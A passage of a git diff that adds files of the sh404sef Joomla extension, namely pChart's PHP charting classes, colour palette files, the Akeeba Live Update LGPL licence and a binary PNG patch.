round($X1).",".round($Y1).",".round($X2).",".round($Y2).",".$SerieName.",".$Value; + $this->MapFunction = $CallerFunction; + } + } + + /* Load and cleanup the image map from disk */ + function getImageMap($MapName,$Flush=TRUE) + { + /* Strip HTML query strings */ + $Values = $this->tmpFolder.$MapName; + $Value = explode("?",$Values); + $FileName = $Value[0]; + + if ( file_exists($FileName) ) + { + $Handle = fopen($FileName, "r"); + $MapContent = fread($Handle, filesize($FileName)); + fclose($Handle); + echo $MapContent; + + if ( $Flush ) + unlink($FileName); + + exit(); + } + else + { + header("HTTP/1.0 404 Not Found"); + exit(); + } + } + + /* Save the image map to the disk */ + function SaveImageMap() + { + if ( !$this->BuildMap ) { return(-1); } + + if ( $this->ImageMap == NULL ) + { + $this->Errors[] = "[Warning] SaveImageMap - Image map is empty."; + return(-1); + } + + $Handle = fopen($this->tmpFolder.$this->MapID, 'w'); + if ( !$Handle ) + { + $this->Errors[] = "[Warning] SaveImageMap - Cannot save the image map."; + return(-1); + } + else + { + foreach($this->ImageMap as $Key => $Value) + fwrite($Handle, htmlentities($Value)."\r"); + } + fclose ($Handle); + } + + /* Convert seconds to a time format string */ + function ToTime($Value) + { + $Hour = floor($Value/3600); + $Minute = floor(($Value - $Hour*3600)/60); + $Second = floor($Value - $Hour*3600 - $Minute*60); + + if (strlen($Hour) == 1 ) { $Hour = "0".$Hour; } + if (strlen($Minute) == 1 ) { $Minute = "0".$Minute; } + if (strlen($Second) == 1 ) { $Second = "0".$Second; } + + return($Hour.":".$Minute.":".$Second); + } + + /* Convert to metric system */ + function ToMetric($Value) + { + $Go = floor($Value/1000000000); + $Mo = floor(($Value - $Go*1000000000)/1000000); + $Ko = floor(($Value - $Go*1000000000 - $Mo*1000000)/1000); + $o = floor($Value - $Go*1000000000 - $Mo*1000000 - $Ko*1000); + + if ($Go != 0) { return($Go.".".$Mo."g"); } + if ($Mo != 0) { return($Mo.".".$ko."m"); } + if ($Ko != 0) { return($Ko.".".$o)."k"; } + return($o); + } + + /* Convert to curency */ + function ToCurrency($Value) + { + $Go = floor($Value/1000000000); + $Mo = floor(($Value - $Go*1000000000)/1000000); + $Ko = floor(($Value - $Go*1000000000 - $Mo*1000000)/1000); + $o = floor($Value - $Go*1000000000 - $Mo*1000000 - $Ko*1000); + + if ( strlen($o) == 1 ) { $o = "00".$o; } + if ( strlen($o) == 2 ) { $o = "0".$o; } + + $ResultString = $o; + if ( $Ko != 0 ) { $ResultString = $Ko.".".$ResultString; } + if ( $Mo != 0 ) { $ResultString = $Mo.".".$ResultString; } + if ( $Go != 0 ) { $ResultString = $Go.".".$ResultString; } + + $ResultString = $this->Currency.$ResultString; + return($ResultString); + } + + /* Set date format for axis labels */ + function setDateFormat($Format) + { + $this->DateFormat = $Format; + } + + /* Convert TS to a date format string */ + function ToDate($Value) + { + return(date($this->DateFormat,$Value)); + } + + /* Check if a number is a full integer (for scaling) */ + function isRealInt($Value) + { + if ($Value == floor($Value)) + return(TRUE); + return(FALSE); + } +} + +function RaiseFatal($Message) +{ + echo "[FATAL] ".$Message."\r\n"; + exit(); +} +?> \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pData.class.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pData.class.php new file mode 100644 index 00000000..198d0176 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pData.class.php @@ -0,0 +1,262 @@ +. + + Class initialisation : + pData() + Data populating methods : + ImportFromCSV($FileName,$Delimiter=",",$DataColumns=-1,$HasHeader=FALSE,$DataName=-1) + AddPoint($Value,$Serie="Serie1",$Description="") + Series manipulation methods : + AddSerie($SerieName="Serie1") + AddAllSeries() + RemoveSerie($SerieName="Serie1") + SetAbsciseLabelSerie($SerieName = "Name") + SetSerieName($Name,$SerieName="Serie1") + + SetSerieSymbol($Name,$Symbol) + SetXAxisName($Name="X Axis") + SetYAxisName($Name="Y Axis") + SetXAxisFormat($Format="number") + SetYAxisFormat($Format="number") + SetXAxisUnit($Unit="") + SetYAxisUnit($Unit="") + removeSerieName($SerieName) + removeAllSeries() + Data retrieval methods : + GetData() + GetDataDescription() + */ + +defined('_JEXEC') or die('Restricted access'); + + /* pData class definition */ + class pData + { + var $Data; + var $DataDescription; + + function pData() + { + $this->Data = ""; + $this->DataDescription = ""; + $this->DataDescription["Position"] = "Name"; + $this->DataDescription["Format"]["X"] = "number"; + $this->DataDescription["Format"]["Y"] = "number"; + $this->DataDescription["Unit"]["X"] = NULL; + $this->DataDescription["Unit"]["Y"] = NULL; + } + + function ImportFromCSV($FileName,$Delimiter=",",$DataColumns=-1,$HasHeader=FALSE,$DataName=-1) + { + $handle = @fopen($FileName,"r"); + if ($handle) + { + $HeaderParsed = FALSE; + while (!feof($handle)) + { + $buffer = fgets($handle, 4096); + $buffer = str_replace(chr(10),"",$buffer); + $buffer = str_replace(chr(13),"",$buffer); + $Values = split($Delimiter,$buffer); + + if ( $buffer != "" ) + { + if ( $HasHeader == TRUE && $HeaderParsed == FALSE ) + { + if ( $DataColumns == -1 ) + { + $ID = 1; + foreach($Values as $key => $Value) + { $this->SetSerieName($Value,"Serie".$ID); $ID++; } + } + else + { + $SerieName = ""; + + foreach($DataColumns as $key => $Value) + $this->SetSerieName($Values[$Value],"Serie".$Value); + } + $HeaderParsed = TRUE; + } + else + { + if ( $DataColumns == -1 ) + { + $ID = 1; + foreach($Values as $key => $Value) + { $this->AddPoint(intval($Value),"Serie".$ID); $ID++; } + } + else + { + $SerieName = ""; + if ( $DataName != -1 ) + $SerieName = $Values[$DataName]; + + foreach($DataColumns as $key => $Value) + $this->AddPoint($Values[$Value],"Serie".$Value,$SerieName); + } + } + } + } + fclose($handle); + } + } + + function AddPoint($Value,$Serie="Serie1",$Description="") + { + if (is_array($Value) && count($Value) == 1) + $Value = $Value[0]; + + $ID = 0; + for($i=0;$i<=count($this->Data);$i++) + { if(isset($this->Data[$i]) && isset($this->Data[$i][$Serie])) { $ID = $i+1; } } + + if ( count($Value) == 1 ) + { + $this->Data[$ID][$Serie] = $Value; + if ( $Description != "" ) + $this->Data[$ID]["Name"] = $Description; + elseif (!isset($this->Data[$ID]["Name"])) + $this->Data[$ID]["Name"] = $ID; + } + else + { + foreach($Value as $key => $Val) + { + $this->Data[$ID][$Serie] = $Val; + if (!isset($this->Data[$ID]["Name"])) + $this->Data[$ID]["Name"] = $ID; + $ID++; + } + } + } + + function AddSerie($SerieName="Serie1") + { + if ( !isset($this->DataDescription["Values"]) ) + { + $this->DataDescription["Values"][] = $SerieName; + } + else + { + $Found = FALSE; + foreach($this->DataDescription["Values"] as $key => $Value ) + if ( $Value == $SerieName ) { $Found = TRUE; } + + if ( !$Found ) + $this->DataDescription["Values"][] = $SerieName; + } + } + + function AddAllSeries() + { + unset($this->DataDescription["Values"]); + + if ( isset($this->Data[0]) ) + { + foreach($this->Data[0] as $Key => $Value) + { + if ( $Key != "Name" ) + $this->DataDescription["Values"][] = $Key; + } + } + } + + function RemoveSerie($SerieName="Serie1") + { + if ( !isset($this->DataDescription["Values"]) ) + return(0); + + $Found = FALSE; + foreach($this->DataDescription["Values"] as $key => $Value ) + { + if ( $Value == $SerieName ) + unset($this->DataDescription["Values"][$key]); + } + } + + function SetAbsciseLabelSerie($SerieName = "Name") + { + $this->DataDescription["Position"] = $SerieName; + } + + function SetSerieName($Name,$SerieName="Serie1") + { + $this->DataDescription["Description"][$SerieName] = $Name; + } + + function SetXAxisName($Name="X Axis") + { + $this->DataDescription["Axis"]["X"] = $Name; + } + + function SetYAxisName($Name="Y Axis") + { + $this->DataDescription["Axis"]["Y"] = $Name; + } + + function SetXAxisFormat($Format="number") + { + $this->DataDescription["Format"]["X"] = $Format; + } + + function SetYAxisFormat($Format="number") + { + $this->DataDescription["Format"]["Y"] = $Format; + } + + function SetXAxisUnit($Unit="") + { + $this->DataDescription["Unit"]["X"] = $Unit; + } + + function SetYAxisUnit($Unit="") + { + $this->DataDescription["Unit"]["Y"] = $Unit; + } + + function SetSerieSymbol($Name,$Symbol) + { + $this->DataDescription["Symbol"][$Name] = $Symbol; + } + + function removeSerieName($SerieName) + { + if ( isset($this->DataDescription["Description"][$SerieName]) ) + unset($this->DataDescription["Description"][$SerieName]); + } + + function removeAllSeries() + { + foreach($this->DataDescription["Values"] as $Key => $Value) + unset($this->DataDescription["Values"][$Key]); + } + + function GetData() + { + return($this->Data); + } + + function GetDataDescription() + { + return($this->DataDescription); + } + } +?> \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-1-hard-tones.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-1-hard-tones.php new file mode 100644 index 00000000..13368706 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-1-hard-tones.php @@ -0,0 +1,56 @@ + +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 +94,48,0 +201,34,0 +247,143,1 +255,238,208 +90,181,110 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-2-green-soft.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-2-green-soft.php new file mode 100644 index 00000000..1f59fb9e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-2-green-soft.php @@ -0,0 +1,56 @@ + +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 +168,188,56 +188,208,76 +208,228,96 +228,245,116 +248,255,136 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-3-blue-soft.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-3-blue-soft.php new file mode 100644 index 00000000..e4df553f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-3-blue-soft.php @@ -0,0 +1,56 @@ + +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 +82,124,148 +97,152,183 +115,173,207 +144,196,226 +174,216,240 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-4-orange-soft.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-4-orange-soft.php new file mode 100644 index 00000000..8ebbb0b5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-4-orange-soft.php @@ -0,0 +1,56 @@ + +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 +192,171,88 +213,193,115 +227,209,139 +237,222,163 +247,235,187 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-5-goldfish.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-5-goldfish.php new file mode 100644 index 00000000..59b89125 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-5-goldfish.php @@ -0,0 +1,56 @@ + +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 +105,210,231 +167,219,216 +224,228,204 +243,134,48 +250,105,0 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-6-desert.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-6-desert.php new file mode 100644 index 00000000..f8e089aa --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-6-desert.php @@ -0,0 +1,56 @@ + +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 +182,66,69 +217,137,98 +246,203,107 +249,240,199 +111,128,105 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-7-tropical.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-7-tropical.php new file mode 100644 index 00000000..e55b0f1f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-7-tropical.php @@ -0,0 +1,56 @@ + +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 +189,250,75 +204,203,81 +220,155,87 +235,108,92 +250,60,98 \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/LICENSE.txt b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/LICENSE.txt new file mode 100644 index 00000000..a59b9713 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/LICENSE.txt @@ -0,0 +1,177 @@ +============================================================================== +Akeeba Live Update - One-click updates for Joomla! extensions +Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com + +Live Update is a sub-component to assist you in providing one-click updates +for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the +GNU Lesser General Public License version 3 or, at your option, any later +version published by the Free Software Foundation. You can use it royalty- +free in any Joomla! extension, Free or Proprietary. The full text of its +license is provided below. +============================================================================== + + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/current-32.png b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/current-32.png new file mode 100644 index 0000000000000000000000000000000000000000..5acf662d603586dcb82c863830a4d5dffe604776 GIT binary patch literal 3162 zcmZWs>rc~H82$lrDI!piOTmHyaz{$Ri4?}gmIC8a%EcmrEsCHNC=|KW7Bq|5l4UW= zHkWyLl>4f)GW@-%`N-5Y>EHEp2zp3ELrkA&-K1D*kQNTkF7YfpjH&UHc?BO#Bk?u5pJ!2A#-&AKe3<)v9TT;8c>z6uB|iKVgl z8=-y)j9B^g^S|6VubY5#fcqWq{x*#B@N&S?1!g`m3&OR8;edCx9pYYGefY*9 zIDH^jUz$`5U9GGf(;tH)aIT)}fM*9QK{gRk{pagna6S7Uy(a;#WMBHLD+91E+u^}i zGEw&XRdJ#drs15fJqTq5SfEA^mtF@pgY(gg&@htWapl|r;ANYPc0qL5$!qTYH#a zQXluFu3`X`pM+HZ%4{qjhWNQ!!60*M5r6X{Y&p1_4++>*z{qywr<)jaZR`vntAa(1 zos`kI7^j!@1#;IQmiSy5L2E!;D_5BZ9@`B8`0E}sPgcwXgg-W?JE1@UI0YI(=C28) zsf5IV>J<{r*kK%&UKfmNmUD0) zT(`=U-jD=`Z!ZQLcS&@ZEg@hhb%#e`N6#CwqkV=e4%L`=CQIn^O+Xz3)>=zQ9hv7m z2Mfs)Pu_(!E#_vzG_%Y28(_8p^4&EVFzIP5`hSs>(^1hn?<$m7lHD5F%)*RrUCVO? z)xG%ax~m1TL68N?Wm6Swtn&z$sf8Wo1?B;P6)?!Nn-97VGFh3bkrJ8LSZ0|08xJm3 zLj)}CRA;~z3`ffCVb=k#;x$M1g9`~BZp6eN4}g(%CD8ar2w-~r7L>ig`Zh9MVR(xCSR7Z^O7pOa;3M0OQY4Q~ou+I8<-VRRCp`V2UBVa*SQ76oJ ztx=V!*EGhx_WyhxYAbqt3x=Bo{H9JWAkPp9Wo5>y*jq+E&p#~Oakt7g+<_W16c}rO ztg$c}zt6XM*|h)@&=uJD7N#OPh38b42w4UJmG9l`DnR2|-DDR5ye-;5?h0Vz0^AFr z+Fb^ty|Dc&yjcKC1B4yg$_xT3E`$6uSOd5iVwqHaQ|SZaU`<=9xv5{qP!Bs$;1jdm zKjE1JrJJ8&P#z9+-uqOW#;7pr?+@RE_1jC`uA?%Y^25g&Jd0gjo_2{CctMte%saq5 z>v-e=R;`EqJ2yMegYBAl)feQ+;nJVqfH1`gL*IW669yj`PI*r#87vOc{7 zJ|~;9eQHA+Z=b|iuw;fklMx<^b#$NY2zM%!0*{Squ-y-)>hh?S@*+wA)I0{pfj z$PO7?sdEPl<95ox0E|97a1Tt6(ZMcwo^dfr@a&u*nwC6$DlAY`EmpK0CK}udHdR6@Tp+%ar4t+h z)`DfAIWZTy_#FgrOKajpqkXqd1_CmYvr{c*381lRe521!M9H4+P>Zij9}rUkqcL?z z;Pu;8IDO#n=OJ7(-~pEGgDkubiP-`HTDU>Sr5_}M@`e12pcTeTTwM(8i1=}XZsLSZ z4>iJb)-;UNu9qQh+$Eiw*apdwQLfqF<;7xQa7gC!^Rt?{I6-!l&4rU^;vzSK+$QTk ze-6S5?*Z2={|?b8C}`t?fyuS$@lCMK;M}EM(71XCu=FGA=j-|`*UP_Ug8*!b$p#2x zmFj6D{QK`t4evbA*WhMB5MQ{Cy?^hh^{Z*v2X8=tT`}A=pSIteP?_)_d&iU^(aeb{ zKM0p5nEyy@jcug0bz<>UW7Xi&=NPKx&Z>9-qbIsjYHbgRlfA^wHc4QZ3V_odB9WVp z+1tvRa7TeMYCXISP7cpWIk-kfMGIi!K&^yK++co+1h+p-hr{e!FI&2Iup=ir`=Q)7 z;PK?@Me(w-nZ$gMCxRyln3y|TUCU+Ikj@(4W_xPOBX|?o(8t`2flJ3cp)5NPzi=Gd z!%i1O!l+Gk^|P9+i(0Ke+@Ifs*uZ7#!O>Dk2DlasEKTMQoWNvo?nrc?O9>nx)ReB? z71@c9ztG7{URvDEV{p@T#{DA$9`JY+RhP*lqEpNmaQ7{Ke7XgqYOLPOy_8S*&3*yv z>%o0SCPIMS^Vgus=DY8}Ov{+RN+tIV_*MruC1w;qWRLLUy=pu zFvy8H=cTk7tmM9c&>~1c5mN>XiLq(Q>}&AjCH~{!Y13Fs*`IHpUcA__$vG{LnOu!);=0+me{v``H(CxO6HhxUM0NI4A#RvJPU%!!A+caa_C#AmS0*0vVwkmXqbN~ z^lWT1GYQ!57Mn9r6QzouQ|InJBBM~&Q(*t=$2?XxFh78?p@AntO)Va}aRQN>I=yP; z`k-K!i1d!k^)5WEz>PB%#_?Wuospdy>j2?dW1^W;V01;!WCYqD8tYx5>#FA#cun2> zGH8s|3&>zDMs<(`&Xw~v&h%a#$tGfEfnLxLWN#E?R;Nxp`bM`M{z~xiLfgQeBCbVc zV7$1+dX`CCI3o|J*GdpIX{^*aY(T*4N5GWu1;r62s3pIT_W+<0m!@8zE@?aFKu~J& zZ}kjz3+Q^)$;msEM_k}8X5lm}PbAM25oqDC-8Q)VZ-C2 z@Z-7fsKG91l}zP^d3v@O5+q=TJ(KQSW{!bo#sF^wl&t1uQpc0&7DvMdS zT(;%^fkj%0ECfdN0lq=d$T|b}PGv(2Tp_74BFb_D`wsB-a0V@d-q5;o_N4tThye^W zG&jQVpBC&3`pq3?&gRCmSNU!h$QJ|>B6++7{34q-W;EZ#cNPXX_r}2P9muR1c?FJO z%_g71Jhi3BRk`c|)#0{B;ILN&JOaQ(fWY>R2_)V(*>@9)UgL7~K zLG>KGo>ireGAmkS(7MC(k|;W3_5*mcCm@?;=mq6pl+DYhW>}`L&pdaNve(AI@aSUZ z8VKd>cKiMP5*e5V^+_2?Wj9+wfbq2VA1SziIP5>mh@1R6UTttc@K?2#*> zx|*u?DSvpqMo<5T|0qwu`^AbEwH;W0SgZi3tIvV-;?Jj4!6?`V3WTIf6g&nwCLR?Z z^r&xi!meEc9mv%uLKy=1a}BnSe+ql?+FNs$qB2-JPVEu1qP%~pLSi@1YtOcKVRnhj zRLqbYKQmNI1YEb9Hw#q+`GP9||MBcuaFeH?9jZ4C)ZYLq%gO|+62Jl&2E2*3clEt~K{RV4 zU?amex4=t~>FR?_OK>3W5RCAYP%RRgmK>@QMU3BKO;4Xp@P%UKDgvvr{mNOL3djoU z@C}5)XOp-a4J(!0Q6nckeYtP;!+&a$M~Tg%UG-CiQAr2j9EY?(T5DUud649~NLRao zg{-YAXVD8AeGd*m1MOuz793+B(p?m-z6USAk;KPmaB-V%h;^ zu$<}^XA1`7z{^=4!Zri7+hYE6{Al($OZ`V0~3>B z)kK2S_iZqfS-6_05pZ0MAtlcOL%?$M_ZIpdg;t~d;MGleR?ZG`cs5Rf+>PN0R(YWD zb>0{D3LZL>7K9Nk4hMyUJ}0g)zoj9Pi2}XMgAD!sy`O0 zHDhv}Cn~ef9613!qH5(ya;FBdldQ3Bz68wWvn?%4UtEAOS`1Qm!rGY-I6$`>lrMHy zX*!HbRSb#!Usk#9rf_yxT^11FK8~an^Oyp>J@+v?pAzTvi5f%Vi9tB4yax9}zJZjP zwR^8s?c;FQxjuLXst3|kx4ieg3e6eehxg46gIAe*BhL}QQ_YMPGQ`(dwTRoZ4;)<6 